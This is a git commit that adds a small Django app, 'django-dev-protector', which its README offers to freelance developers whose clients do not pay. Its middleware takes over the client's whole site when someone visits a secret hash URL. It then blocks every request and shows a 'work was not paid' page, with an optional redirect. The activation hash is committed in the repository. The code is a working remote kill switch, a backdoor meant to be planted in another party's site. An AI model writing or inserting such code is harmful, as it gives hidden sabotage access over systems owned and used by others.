Add files

ElusiveSpirit · ElusiveSpirit · commit 942bcc91a5de · 2016-11-14T11:39:26.000+03:00
diff --git a/.gitignore b/.gitignore
@@ -87,3 +87,6 @@ ENV/
 
 # Rope project settings
 .ropeproject
+
+# BD
+*.sqlite3
diff --git a/README.md b/README.md
@@ -0,0 +1,36 @@
+django-dev-protector
+====================
+The app for freelance developers, that blocks site if needed.  
+
+It can be used in situations when a client don't want to pay your work. The app blocks all requests to the site and shows a template.
+
+Installation
+------------
+settings.py
+```
+INSTALLED_APPS = [
+    ...
+
+    # import django_dev_protector
+    'django_dev_protector',
+]
+
+
+MIDDLEWARE = [
+    # set middleware class
+    'django_dev_protector.middleware.ControlMiddleware',
+
+    ...
+]
+```
+
+Settings
+--------
+```
+# render a simple template
+PROTECT_TEMPLATE_NAME = 'django_dev_protector/index.html'
+
+# if redirect url is set, then default template would be  
+# redirects person after 10 sec
+PROTECT_REDIRECT_URL = None
+```
diff --git a/django_dev_protector/__init__.py b/django_dev_protector/__init__.py
diff --git a/django_dev_protector/apps.py b/django_dev_protector/apps.py
@@ -0,0 +1,7 @@
+from __future__ import unicode_literals
+
+from django.apps import AppConfig
+
+
+class DjangoDevProtectorConfig(AppConfig):
+    name = 'django_dev_protector'
diff --git a/django_dev_protector/management/__init__.py b/django_dev_protector/management/__init__.py
diff --git a/django_dev_protector/management/commands/__init__.py b/django_dev_protector/management/commands/__init__.py
diff --git a/django_dev_protector/management/commands/generatehash.py b/django_dev_protector/management/commands/generatehash.py
@@ -0,0 +1,25 @@
+from django.core.management.base import BaseCommand, CommandError
+from django_dev_protector.settings import PROTECT_HASH_FILE, DIR_NAME
+
+def generate_hash():
+    import random
+    return '%032x' % random.getrandbits(128)
+
+
+class Command(BaseCommand):
+    help = 'Generates hash for django-dev-protector.'
+
+    def handle(self, *args, **options):
+        self.stdout.write('Generating random hash')
+        r_hash = generate_hash()
+
+        try:
+            f = open(DIR_NAME + PROTECT_HASH_FILE, mode='w')
+            f.write(r_hash)
+            f.close()
+            self.stdout.write('Saving... OK.')
+            self.stdout.write('Save your hash code:')
+            self.stdout.write(r_hash)
+        except Exception as e:
+            self.stdout.write('Saving... ERROR.')
+            self.stdout.write(e)
diff --git a/django_dev_protector/middleware.py b/django_dev_protector/middleware.py
@@ -0,0 +1,26 @@
+from os import environ
+from re import match
+
+from django.shortcuts import render, redirect
+from django.utils.deprecation import MiddlewareMixin
+from .settings import TEMPLATE_NAME, REDIRECT_URL, PROTECT_STATUS_VARIABLE, PROTECT_HASH_VARIABLE
+
+
+class ControlMiddleware(MiddlewareMixin):
+    def process_request(self, request):
+        url = match(r'^/django_dev_protector/(?P<hash>\w+)/(?P<status>(on)|(off))/$', request.path)
+        if url and url.group('hash') == environ[PROTECT_HASH_VARIABLE]:
+            if url.group('status') == 'on':
+                status = 'True'
+            else:
+                status = 'False'
+            from .setup import save_status
+            environ[PROTECT_STATUS_VARIABLE] = status
+            save_status(status)
+            return redirect('/')
+
+        if environ.get(PROTECT_STATUS_VARIABLE) == 'True':
+            from django.shortcuts import render
+            return render(request, TEMPLATE_NAME, {
+                'redirect_url': REDIRECT_URL
+            })
diff --git a/django_dev_protector/protect_hash.conf b/django_dev_protector/protect_hash.conf
@@ -0,0 +1 @@
+6e271254f78907e1ffe558184fb58018
diff --git a/django_dev_protector/protect_status.conf b/django_dev_protector/protect_status.conf
@@ -0,0 +1 @@
+False
diff --git a/django_dev_protector/settings.py b/django_dev_protector/settings.py
@@ -0,0 +1,20 @@
+import os
+from django.conf import settings
+
+DIR_NAME = os.path.dirname(__file__)
+
+PROTECT_STATUS_DEFAULT = False
+
+PROTECT_STATUS_VARIABLE = 'PROTECT_STATUS_VARIABLE'
+PROTECT_HASH_VARIABLE = 'PROTECT_HASH_VARIABLE'
+PROTECT_STATUS_FILE = '/protect_status.conf'
+PROTECT_HASH_FILE = '/protect_hash.conf'
+
+TEMPLATE_NAME = 'django_dev_protector/index.html' if not settings.PROTECT_TEMPLATE_NAME else PROTECT_TEMPLATE_NAME
+
+REDIRECT_URL = None if not settings.PROTECT_REDIRECT_URL else PROTECT_REDIRECT_URL
+
+
+from django_dev_protector.setup import get_status, get_hash
+os.environ[PROTECT_STATUS_VARIABLE] = get_status()
+os.environ[PROTECT_HASH_VARIABLE] = get_hash()
diff --git a/django_dev_protector/setup.py b/django_dev_protector/setup.py
@@ -0,0 +1,49 @@
+import os
+
+from .settings import (PROTECT_STATUS_FILE, PROTECT_STATUS_VARIABLE,
+                       PROTECT_STATUS_DEFAULT, DIR_NAME, PROTECT_HASH_FILE)
+
+STATUS_FILE_NAME = DIR_NAME + PROTECT_STATUS_FILE
+HASH_FILE_NAME = DIR_NAME + PROTECT_HASH_FILE
+
+
+def save_to_file(text, file_name):
+    try:
+        f = open(file_name, 'w')
+        f.write(str(text))
+        f.close()
+    except:
+        pass
+
+
+def get_from_file(file_name):
+    """Gets first word from file"""
+    try:
+        f = open(file_name, 'r')
+        data = f.read()
+        f.close()
+
+        import re
+        data = re.findall('\w+', data)
+        return data[0]
+    except:
+        return ''
+
+
+def save_status(status):
+    """Save current status to file"""
+    save_to_file(status, STATUS_FILE_NAME)
+
+
+def get_status():
+    """Get status from file"""
+    res = get_from_file(STATUS_FILE_NAME)
+    if not res:
+        save_status(PROTECT_STATUS_DEFAULT)
+        return PROTECT_STATUS_DEFAULT
+    return res
+
+
+def get_hash():
+    """Get saved hash from file"""
+    return get_from_file(HASH_FILE_NAME)
diff --git a/django_dev_protector/templates/django_dev_protector/index.html b/django_dev_protector/templates/django_dev_protector/index.html
@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>The work was not paid</title>
+  </head>
+  <body>
+    <h1>The work was not paid.</h1>
+    <h3>Owner of this site has not paid to the developer</h3>
+    {% if redirect_url %}
+    <h4>In 10 seconds you will be redirected to another site <a href="{{ redirect_url }}">{{ redirect_url }}</a></h4>
+    <script>
+    setTimeout(function() {
+      location.href = "{{ redirect_url }}";
+    }, 10000);
+    </script>
+    {% endif %}
+  </body>
+</html>
diff --git a/django_dev_protector/tests.py b/django_dev_protector/tests.py
@@ -0,0 +1,21 @@
+from django.test import TestCase, Client
+
+import django_dev_protector.settings
+from django_dev_protector.setup import get_hash, get_status, save_status
+
+
+class MiddlewareTests(TestCase):
+
+    def test_block_the_server(self):
+        """
+        Blocks server by request
+        """
+        response = self.client.get('/django_dev_protector/%s/on/' % get_hash())
+        self.assertEqual(get_status(), 'True')
+
+    def test_unblock_the_server(self):
+        """
+        Unblocks server by request
+        """
+        response = self.client.get('/django_dev_protector/%s/off/' % get_hash())
+        self.assertEqual(get_status(), 'False')
diff --git a/manage.py b/manage.py
@@ -0,0 +1,22 @@
+#!/usr/bin/env python
+import os
+import sys
+
+if __name__ == "__main__":
+    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "tests.settings")
+    try:
+        from django.core.management import execute_from_command_line
+    except ImportError:
+        # The above import may fail for some other reason. Ensure that the
+        # issue is really that Django is missing to avoid masking other
+        # exceptions on Python 2.
+        try:
+            import django
+        except ImportError:
+            raise ImportError(
+                "Couldn't import Django. Are you sure it's installed and "
+                "available on your PYTHONPATH environment variable? Did you "
+                "forget to activate a virtual environment?"
+            )
+        raise
+    execute_from_command_line(sys.argv)
diff --git a/tests/__init__.py b/tests/__init__.py
diff --git a/tests/settings.py b/tests/settings.py
@@ -0,0 +1,94 @@
+import os
+
+BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+
+
+SECRET_KEY = ')ooeqt30*=x$nsrab6a2p4jd-n@-p+eubtxqq*2&%e892xc&j+'
+
+DEBUG = True
+
+ALLOWED_HOSTS = []
+
+
+INSTALLED_APPS = [
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+
+    # import django_dev_protector
+    'django_dev_protector',
+]
+
+MIDDLEWARE = [
+    # set django_dev_protector middleware class
+    'django_dev_protector.middleware.ControlMiddleware',
+
+    'django.middleware.security.SecurityMiddleware',
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+]
+
+ROOT_URLCONF = 'tests.urls'
+
+TEMPLATES = [
+    {
+        'BACKEND': 'django.template.backends.django.DjangoTemplates',
+        'DIRS': [],
+        'APP_DIRS': True,
+        'OPTIONS': {
+            'context_processors': [
+                'django.template.context_processors.debug',
+                'django.template.context_processors.request',
+                'django.contrib.auth.context_processors.auth',
+                'django.contrib.messages.context_processors.messages',
+            ],
+        },
+    },
+]
+
+WSGI_APPLICATION = 'tests.wsgi.application'
+
+
+DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
+    }
+}
+
+
+AUTH_PASSWORD_VALIDATORS = [
+    {
+        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
+    },
+    {
+        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
+    },
+    {
+        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
+    },
+    {
+        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
+    },
+]
+
+
+LANGUAGE_CODE = 'en-us'
+
+TIME_ZONE = 'UTC'
+
+USE_I18N = True
+
+USE_L10N = True
+
+USE_TZ = True
+
+
+STATIC_URL = '/static/'
diff --git a/tests/urls.py b/tests/urls.py
@@ -0,0 +1,6 @@
+from django.conf.urls import url
+from django.contrib import admin
+
+urlpatterns = [
+    url(r'^admin/', admin.site.urls),
+]
diff --git a/tests/wsgi.py b/tests/wsgi.py
@@ -0,0 +1,16 @@
+"""
+WSGI config for money project.
+
+It exposes the WSGI callable as a module-level variable named ``application``.
+
+For more information on this file, see
+https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/
+"""
+
+import os
+
+from django.core.wsgi import get_wsgi_application
+
+os.environ.setdefault("DJANGO_SETTINGS_MODULE", "tests.settings")
+
+application = get_wsgi_application()
